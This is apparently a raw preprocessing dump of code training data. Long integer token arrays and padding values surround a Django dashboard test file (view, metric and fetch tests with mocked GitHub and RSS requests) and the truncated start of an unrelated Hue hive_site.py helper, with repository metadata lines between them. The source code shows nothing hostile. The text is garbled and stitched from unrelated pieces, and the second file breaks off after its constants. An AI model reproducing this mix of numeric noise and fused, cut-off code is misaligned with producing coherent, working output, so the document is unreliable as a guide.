32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 221, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 199, 504, 14090, 492, 2494, 421, 199, 533, 24015, 5065, 26, 272, 408, 2543, 543, 2120, 1159, 6804, 4713, 1041, 339, 11727, 63, 12779, 275, 283, 452, 63, 3742, 7, 272, 11727, 63, 12299, 275, 283, 452, 63, 4892, 7, 272, 11727, 63, 22162, 275, 283, 452, 63, 4456, 7, 272, 13051, 63, 12779, 275, 283, 368, 63, 3742, 7, 272, 13051, 63, 12299, 275, 283, 368, 63, 4892, 7, 272, 653, 4817, 63, 12299, 275, 283, 3592, 63, 4892, 7, 272, 653, 4817, 63, 12299, 63, 726, 63, 13525, 19359, 275, 283, 3592, 63, 4892, 63, 269, 63, 11962, 7, 272, 653, 4817, 63, 13525, 19359, 275, 283, 3592, 63, 11962, 7, 272, 577, 22472, 275, 283, 5869, 7, 339, 485, 1761, 63, 30073, 63, 31490, 26, 2494, 59, 495, 61, 275, 663, 342, 339, 768, 3744, 272, 347, 365, 63, 1078, 8, 1886, 12, 6804, 63, 2200, 304, 267, 408, 3490, 2335, 282, 6804, 2332, 1041, 267, 372, 6804, 63, 2200, 315, 843, 14, 452, 63, 26328, 342, 339, 768, 3744, 272, 347, 1006, 63, 26328, 8, 1886, 304, 267, 408, 3407, 1006, 6804, 4713, 1041, 267, 340, 440, 843, 423, 1761, 63, 30073, 63, 31490, 26, 288, 843, 423, 1761, 63, 30073, 63, 31490, 275, 469, 355, 2519, 8, 1886, 12, 1921, 9, 355, 367, 1921, 315, 2935, 8, 1886, 9, 355, 340, 440, 1921, 14, 2460, 11008, 531, 436, 440, 4550, 8, 5675, 8, 1886, 12, 1921, 430, 288, 789, 267, 372, 843, 423, 1761, 63, 30073, 63, 31490, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768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 0, 0, 0, 0, 0, 0, 0 ]
relekang/djangoproject.com
dashboard/tests.py
8
5519
# -*- coding: utf-8 -*- import codecs import json import os from unittest import mock import requests_mock from django.core import management from django.http import Http404 from django.test import RequestFactory, TestCase from django_hosts.resolvers import reverse from .models import ( GithubItemCountMetric, Metric, RSSFeedMetric, TracTicketMetric, ) from .views import index, metric_detail, metric_json class ViewTests(TestCase): fixtures = ['dashboard_test_data'] def setUp(self): self.factory = RequestFactory() def test_index(self): for MC in Metric.__subclasses__(): for metric in MC.objects.filter(show_on_dashboard=True): metric.data.create(measurement=42) request = self.factory.get(reverse('dashboard-index', host='dashboard')) response = index(request) self.assertContains(response, 'Development dashboard') self.assertEqual(response.content.count(b'<div class="metric'), 13) self.assertEqual(response.content.count(b'42'), 13) def test_metric(self): TracTicketMetric.objects.get(slug='new-tickets-week').data.create(measurement=42) request = self.factory.get(reverse('metric-detail', args=['new-tickets-week'], host='dashboard')) response = metric_detail(request, 'new-tickets-week') self.assertContains(response, 'Development dashboard') def test_metric_404(self): request = self.factory.get(reverse('metric-detail', args=['new-tickets-week'], host='dashboard')) self.assertRaisesRegexp( Http404, 'Could not find metric with slug [\w-]+', metric_detail, request, '404' ) def test_metric_json(self): TracTicketMetric.objects.get(slug='new-tickets-week').data.create(measurement=42) request = self.factory.get(reverse('metric-json', args=['new-tickets-week'], host='dashboard')) response = metric_json(request, 'new-tickets-week') self.assertEqual(json.loads(response.content.decode())['data'][0][1], 42) self.assertEqual(response.status_code, 200) class MetricMixin(object): def test_str(self): self.assertEqual(str(self.instance), self.instance.name) def test_get_absolute_url(self): url_path = '/metric/%s/' % self.instance.slug self.assertTrue(url_path in self.instance.get_absolute_url()) class TracTicketMetricTestCase(TestCase, MetricMixin): fixtures = ['dashboard_test_data'] def setUp(self): super(TracTicketMetricTestCase, self).setUp() self.instance = TracTicketMetric.objects.last() @mock.patch('xmlrpc.client.ServerProxy') def test_fetch(self, mock_server_proxy): self.instance.fetch() self.assertTrue(mock_server_proxy.client.query.assert_called_with) class RSSFeedMetricTestCase(TestCase, MetricMixin): fixtures = ['dashboard_test_data'] feed_url = 'http://code.djangoproject.com/timeline?changeset=on&max=0&daysback=7&format=rss' fixtures_path = os.path.join(os.path.dirname(__file__), 'fixtures', 'rss_feed_metric.xml') def setUp(self): super(RSSFeedMetricTestCase, self).setUp() self.instance = RSSFeedMetric.objects.last() @requests_mock.mock() def test_fetch(self, mocker): with codecs.open(self.fixtures_path, 'r', 'utf-8') as fixtures: feed_items = fixtures.read() mocker.get(self.feed_url, text=feed_items) self.assertEqual(self.instance.fetch(), 177) class GithubItemCountMetricTestCase(TestCase, MetricMixin): fixtures = ['dashboard_test_data'] api_url1 = 'https://api.github.com/repos/django/django/pulls?state=closed&per_page=100&page=1' api_url2 = 'https://api.github.com/repos/django/django/pulls?state=closed&per_page=100&page=2' def setUp(self): super(GithubItemCountMetricTestCase, self).setUp() self.instance = GithubItemCountMetric.objects.last() @requests_mock.mock() def test_fetch(self, mocker): # faking a JSON output with 100 items first mocker.get(self.api_url1, text=json.dumps([{'id': i} for i in range(100)])) # and then with 42 items on the second page mocker.get(self.api_url2, text=json.dumps([{'id': i} for i in range(42)])) self.assertEqual(self.instance.fetch(), 142) class UpdateMetricCommandTestCase(TestCase): github_url = 'https://api.github.com/repos/django/django/pulls?state=closed&per_page=100&page=1' def setUp(self): GithubItemCountMetric.objects.create( name='Pull Requests (Closed)', link_url="https://github.com/django/django/pulls", period="instant", unit_plural="pull requests", slug="pull-requests-closed", unit="pull request", api_url="https://api.github.com/repos/django/django/pulls?state=closed" ) @requests_mock.mock() @mock.patch('dashboard.utils.reset_generation_key') def test_update_metric(self, mocker, mock_reset_generation_key): mocker.get(self.github_url, text=json.dumps([{'id': i} for i in range(10)])) management.call_command('update_metrics', verbosity=0) self.assertTrue(mock_reset_generation_key.called) data = GithubItemCountMetric.objects.last().data.last() self.assertEqual(data.measurement, 10)
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 6010, 199, 646, 2022, 199, 646, 747, 199, 504, 2882, 492, 1683, 199, 199, 646, 4145, 63, 1805, 199, 504, 1639, 14, 1018, 492, 10041, 199, 504, 1639, 14, 1014, 492, 4760, 5188, 199, 504, 1639, 14, 396, 492, 18638, 12, 7640, 199, 504, 1639, 63, 5146, 14, 12640, 492, 3837, 199, 199, 504, 1275, 992, 492, 334, 272, 598, 4049, 2081, 2353, 11119, 12, 22465, 12, 30331, 7658, 11119, 12, 377, 6457, 25813, 11119, 12, 199, 9, 199, 504, 1275, 4196, 492, 1478, 12, 6370, 63, 5506, 12, 6370, 63, 1001, 421, 199, 533, 10935, 2925, 8, 1746, 304, 272, 15188, 275, 788, 9743, 63, 396, 63, 576, 418, 339, 347, 3613, 8, 277, 304, 267, 291, 14, 3702, 275, 18638, 342, 339, 347, 511, 63, 1080, 8, 277, 304, 267, 367, 32685, 315, 22465, 855, 19094, 721, 304, 288, 367, 6370, 315, 32685, 14, 1462, 14, 1541, 8, 2384, 63, 265, 63, 9743, 29, 549, 304, 355, 6370, 14, 576, 14, 981, 8, 17912, 29, 2260, 9, 398, 1056, 275, 291, 14, 3702, 14, 362, 8, 4471, 360, 9743, 13, 1080, 297, 1591, 534, 9743, 1333, 267, 1177, 275, 1478, 8, 1069, 9, 267, 291, 14, 9535, 8, 1310, 12, 283, 23753, 17216, 358, 267, 291, 14, 629, 8, 1310, 14, 1317, 14, 835, 8, 66, 7601, 3015, 1021, 628, 5165, 659, 4944, 9, 267, 291, 14, 629, 8, 1310, 14, 1317, 14, 835, 8, 66, 7, 2260, 659, 4944, 9, 339, 347, 511, 63, 5165, 8, 277, 304, 267, 377, 6457, 25813, 11119, 14, 1462, 14, 362, 8, 5464, 534, 1222, 13, 9201, 83, 13, 6419, 1959, 576, 14, 981, 8, 17912, 29, 2260, 9, 267, 1056, 275, 291, 14, 3702, 14, 362, 8, 4471, 360, 5165, 13, 5506, 297, 1249, 2968, 1222, 13, 9201, 83, 13, 6419, 995, 5644, 1591, 534, 9743, 1333, 267, 1177, 275, 6370, 63, 5506, 8, 1069, 12, 283, 1222, 13, 9201, 83, 13, 6419, 358, 267, 291, 14, 9535, 8, 1310, 12, 283, 23753, 17216, 358, 339, 347, 511, 63, 5165, 63, 5188, 8, 277, 304, 267, 1056, 275, 291, 14, 3702, 14, 362, 8, 4471, 360, 5165, 13, 5506, 297, 1249, 2968, 1222, 13, 9201, 83, 13, 6419, 995, 5644, 1591, 534, 9743, 1333, 267, 291, 14, 10835, 8, 288, 4760, 5188, 12, 288, 283, 6531, 440, 2342, 6370, 543, 8889, 359, 60, 87, 13, 11529, 288, 6370, 63, 5506, 12, 288, 1056, 12, 288, 283, 5188, 7, 267, 776, 339, 347, 511, 63, 5165, 63, 1001, 8, 277, 304, 267, 377, 6457, 25813, 11119, 14, 1462, 14, 362, 8, 5464, 534, 1222, 13, 9201, 83, 13, 6419, 1959, 576, 14, 981, 8, 17912, 29, 2260, 9, 267, 1056, 275, 291, 14, 3702, 14, 362, 8, 4471, 360, 5165, 13, 1001, 297, 1249, 2968, 1222, 13, 9201, 83, 13, 6419, 995, 5644, 1591, 534, 9743, 1333, 267, 1177, 275, 6370, 63, 1001, 8, 1069, 12, 283, 1222, 13, 9201, 83, 13, 6419, 358, 267, 291, 14, 629, 8, 1001, 14, 3640, 8, 1310, 14, 1317, 14, 2708, 1012, 459, 576, 3488, 16, 1527, 17, 467, 5685, 9, 267, 291, 14, 629, 8, 1310, 14, 1205, 63, 600, 12, 1926, 9, 421, 199, 533, 22465, 4256, 8, 785, 304, 339, 347, 511, 63, 495, 8, 277, 304, 267, 291, 14, 629, 8, 495, 8, 277, 14, 842, 395, 291, 14, 842, 14, 354, 9, 339, 347, 511, 63, 362, 63, 6116, 63, 633, 8, 277, 304, 267, 1166, 63, 515, 275, 1994, 5165, 3149, 83, 4805, 450, 291, 14, 842, 14, 5464, 267, 291, 14, 1815, 8, 633, 63, 515, 315, 291, 14, 842, 14, 362, 63, 6116, 63, 633, 1012, 421, 199, 533, 377, 6457, 25813, 11119, 1746, 8, 1746, 12, 22465, 4256, 304, 272, 15188, 275, 788, 9743, 63, 396, 63, 576, 418, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 2437, 67, 25813, 11119, 1746, 12, 291, 680, 5996, 342, 267, 291, 14, 842, 275, 377, 6457, 25813, 11119, 14, 1462, 14, 2019, 342, 339, 768, 1805, 14, 2068, 360, 17596, 14, 1258, 14, 3120, 4936, 358, 272, 347, 511, 63, 3535, 8, 277, 12, 1683, 63, 1000, 63, 3280, 304, 267, 291, 14, 842, 14, 3535, 342, 267, 291, 14, 1815, 8, 1805, 63, 1000, 63, 3280, 14, 1258, 14, 1131, 14, 479, 63, 3527, 63, 1045, 9, 421, 199, 533, 30331, 7658, 11119, 1746, 8, 1746, 12, 22465, 4256, 304, 272, 15188, 275, 788, 9743, 63, 396, 63, 576, 418, 272, 4733, 63, 633, 275, 283, 1014, 921, 600, 14, 14013, 14, 957, 15, 19369, 31, 26027, 29, 265, 6, 988, 29, 16, 6, 4899, 894, 29, 23, 6, 908, 29, 13614, 7, 272, 15188, 63, 515, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 283, 8769, 297, 283, 13614, 63, 3871, 63, 5165, 14, 1652, 358, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 22786, 7658, 11119, 1746, 12, 291, 680, 5996, 342, 267, 291, 14, 842, 275, 30331, 7658, 11119, 14, 1462, 14, 2019, 342, 339, 768, 6615, 63, 1805, 14, 1805, 342, 272, 347, 511, 63, 3535, 8, 277, 12, 15981, 304, 267, 543, 6010, 14, 1490, 8, 277, 14, 8769, 63, 515, 12, 283, 82, 297, 283, 1624, 13, 24, 358, 465, 15188, 26, 288, 4733, 63, 1744, 275, 15188, 14, 739, 342, 267, 15981, 14, 362, 8, 277, 14, 3871, 63, 633, 12, 1318, 29, 3871, 63, 1744, 9, 267, 291, 14, 629, 8, 277, 14, 842, 14, 3535, 1062, 413, 1138, 9, 421, 199, 533, 598, 4049, 2081, 2353, 11119, 1746, 8, 1746, 12, 22465, 4256, 304, 272, 15188, 275, 788, 9743, 63, 396, 63, 576, 418, 272, 2986, 63, 633, 17, 275, 283, 2859, 921, 1246, 14, 5031, 14, 957, 15, 11857, 15, 1176, 15, 1176, 15, 80, 13072, 31, 929, 29, 5938, 6, 529, 63, 1606, 29, 1960, 6, 1606, 29, 17, 7, 272, 2986, 63, 633, 18, 275, 283, 2859, 921, 1246, 14, 5031, 14, 957, 15, 11857, 15, 1176, 15, 1176, 15, 80, 13072, 31, 929, 29, 5938, 6, 529, 63 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 6010, 199, 646, 2022, 199, 646, 747, 199, 504, 2882, 492, 1683, 199, 199, 646, 4145, 63, 1805, 199, 504, 1639, 14, 1018, 492, 10041, 199, 504, 1639, 14, 1014, 492, 4760, 5188, 199, 504, 1639, 14, 396, 492, 18638, 12, 7640, 199, 504, 1639, 63, 5146, 14, 12640, 492, 3837, 199, 199, 504, 1275, 992, 492, 334, 272, 598, 4049, 2081, 2353, 11119, 12, 22465, 12, 30331, 7658, 11119, 12, 377, 6457, 25813, 11119, 12, 199, 9, 199, 504, 1275, 4196, 492, 1478, 12, 6370, 63, 5506, 12, 6370, 63, 1001, 421, 199, 533, 10935, 2925, 8, 1746, 304, 272, 15188, 275, 788, 9743, 63, 396, 63, 576, 418, 339, 347, 3613, 8, 277, 304, 267, 291, 14, 3702, 275, 18638, 342, 339, 347, 511, 63, 1080, 8, 277, 304, 267, 367, 32685, 315, 22465, 855, 19094, 721, 304, 288, 367, 6370, 315, 32685, 14, 1462, 14, 1541, 8, 2384, 63, 265, 63, 9743, 29, 549, 304, 355, 6370, 14, 576, 14, 981, 8, 17912, 29, 2260, 9, 398, 1056, 275, 291, 14, 3702, 14, 362, 8, 4471, 360, 9743, 13, 1080, 297, 1591, 534, 9743, 1333, 267, 1177, 275, 1478, 8, 1069, 9, 267, 291, 14, 9535, 8, 1310, 12, 283, 23753, 17216, 358, 267, 291, 14, 629, 8, 1310, 14, 1317, 14, 835, 8, 66, 7601, 3015, 1021, 628, 5165, 659, 4944, 9, 267, 291, 14, 629, 8, 1310, 14, 1317, 14, 835, 8, 66, 7, 2260, 659, 4944, 9, 339, 347, 511, 63, 5165, 8, 277, 304, 267, 377, 6457, 25813, 11119, 14, 1462, 14, 362, 8, 5464, 534, 1222, 13, 9201, 83, 13, 6419, 1959, 576, 14, 981, 8, 17912, 29, 2260, 9, 267, 1056, 275, 291, 14, 3702, 14, 362, 8, 4471, 360, 5165, 13, 5506, 297, 1249, 2968, 1222, 13, 9201, 83, 13, 6419, 995, 5644, 1591, 534, 9743, 1333, 267, 1177, 275, 6370, 63, 5506, 8, 1069, 12, 283, 1222, 13, 9201, 83, 13, 6419, 358, 267, 291, 14, 9535, 8, 1310, 12, 283, 23753, 17216, 358, 339, 347, 511, 63, 5165, 63, 5188, 8, 277, 304, 267, 1056, 275, 291, 14, 3702, 14, 362, 8, 4471, 360, 5165, 13, 5506, 297, 1249, 2968, 1222, 13, 9201, 83, 13, 6419, 995, 5644, 1591, 534, 9743, 1333, 267, 291, 14, 10835, 8, 288, 4760, 5188, 12, 288, 283, 6531, 440, 2342, 6370, 543, 8889, 359, 60, 87, 13, 11529, 288, 6370, 63, 5506, 12, 288, 1056, 12, 288, 283, 5188, 7, 267, 776, 339, 347, 511, 63, 5165, 63, 1001, 8, 277, 304, 267, 377, 6457, 25813, 11119, 14, 1462, 14, 362, 8, 5464, 534, 1222, 13, 9201, 83, 13, 6419, 1959, 576, 14, 981, 8, 17912, 29, 2260, 9, 267, 1056, 275, 291, 14, 3702, 14, 362, 8, 4471, 360, 5165, 13, 1001, 297, 1249, 2968, 1222, 13, 9201, 83, 13, 6419, 995, 5644, 1591, 534, 9743, 1333, 267, 1177, 275, 6370, 63, 1001, 8, 1069, 12, 283, 1222, 13, 9201, 83, 13, 6419, 358, 267, 291, 14, 629, 8, 1001, 14, 3640, 8, 1310, 14, 1317, 14, 2708, 1012, 459, 576, 3488, 16, 1527, 17, 467, 5685, 9, 267, 291, 14, 629, 8, 1310, 14, 1205, 63, 600, 12, 1926, 9, 421, 199, 533, 22465, 4256, 8, 785, 304, 339, 347, 511, 63, 495, 8, 277, 304, 267, 291, 14, 629, 8, 495, 8, 277, 14, 842, 395, 291, 14, 842, 14, 354, 9, 339, 347, 511, 63, 362, 63, 6116, 63, 633, 8, 277, 304, 267, 1166, 63, 515, 275, 1994, 5165, 3149, 83, 4805, 450, 291, 14, 842, 14, 5464, 267, 291, 14, 1815, 8, 633, 63, 515, 315, 291, 14, 842, 14, 362, 63, 6116, 63, 633, 1012, 421, 199, 533, 377, 6457, 25813, 11119, 1746, 8, 1746, 12, 22465, 4256, 304, 272, 15188, 275, 788, 9743, 63, 396, 63, 576, 418, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 2437, 67, 25813, 11119, 1746, 12, 291, 680, 5996, 342, 267, 291, 14, 842, 275, 377, 6457, 25813, 11119, 14, 1462, 14, 2019, 342, 339, 768, 1805, 14, 2068, 360, 17596, 14, 1258, 14, 3120, 4936, 358, 272, 347, 511, 63, 3535, 8, 277, 12, 1683, 63, 1000, 63, 3280, 304, 267, 291, 14, 842, 14, 3535, 342, 267, 291, 14, 1815, 8, 1805, 63, 1000, 63, 3280, 14, 1258, 14, 1131, 14, 479, 63, 3527, 63, 1045, 9, 421, 199, 533, 30331, 7658, 11119, 1746, 8, 1746, 12, 22465, 4256, 304, 272, 15188, 275, 788, 9743, 63, 396, 63, 576, 418, 272, 4733, 63, 633, 275, 283, 1014, 921, 600, 14, 14013, 14, 957, 15, 19369, 31, 26027, 29, 265, 6, 988, 29, 16, 6, 4899, 894, 29, 23, 6, 908, 29, 13614, 7, 272, 15188, 63, 515, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 3475, 3460, 493, 10139, 283, 8769, 297, 283, 13614, 63, 3871, 63, 5165, 14, 1652, 358, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 22786, 7658, 11119, 1746, 12, 291, 680, 5996, 342, 267, 291, 14, 842, 275, 30331, 7658, 11119, 14, 1462, 14, 2019, 342, 339, 768, 6615, 63, 1805, 14, 1805, 342, 272, 347, 511, 63, 3535, 8, 277, 12, 15981, 304, 267, 543, 6010, 14, 1490, 8, 277, 14, 8769, 63, 515, 12, 283, 82, 297, 283, 1624, 13, 24, 358, 465, 15188, 26, 288, 4733, 63, 1744, 275, 15188, 14, 739, 342, 267, 15981, 14, 362, 8, 277, 14, 3871, 63, 633, 12, 1318, 29, 3871, 63, 1744, 9, 267, 291, 14, 629, 8, 277, 14, 842, 14, 3535, 1062, 413, 1138, 9, 421, 199, 533, 598, 4049, 2081, 2353, 11119, 1746, 8, 1746, 12, 22465, 4256, 304, 272, 15188, 275, 788, 9743, 63, 396, 63, 576, 418, 272, 2986, 63, 633, 17, 275, 283, 2859, 921, 1246, 14, 5031, 14, 957, 15, 11857, 15, 1176, 15, 1176, 15, 80, 13072, 31, 929, 29, 5938, 6, 529, 63, 1606, 29, 1960, 6, 1606, 29, 17, 7, 272, 2986, 63, 633, 18, 275, 283, 2859, 921, 1246, 14, 5031, 14, 957, 15, 11857, 15, 1176, 15, 1176, 15, 80, 13072, 31, 929, 29, 5938, 6, 529, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ahmed-mahran/hue
apps/beeswax/src/beeswax/hive_site.py
25
5357
#!/usr/bin/env python # Licensed to Cloudera, Inc. under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. Cloudera, Inc. licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Helper for reading hive-site.xml """ import errno import logging import os.path import re import socket from desktop.lib import security_util from hadoop import confparse import beeswax.conf LOG = logging.getLogger(__name__) _HIVE_SITE_PATH = None # Path to hive-site.xml _HIVE_SITE_DICT = None # A dictionary of name/value config options _METASTORE_LOC_CACHE = None _CNF_METASTORE_SASL = 'hive.metastore.sasl.enabled' _CNF_METASTORE_URIS = 'hive.metastore.uris' _CNF_METASTORE_KERBEROS_PRINCIPAL = 'hive.metastore.kerberos.principal' _CNF_METASTORE_WAREHOUSE_DIR = 'hive.metastore.warehouse.dir' _CNF_HIVESERVER2_KERBEROS_PRINCIPAL = 'hive.server2.authentication.kerberos.principal' 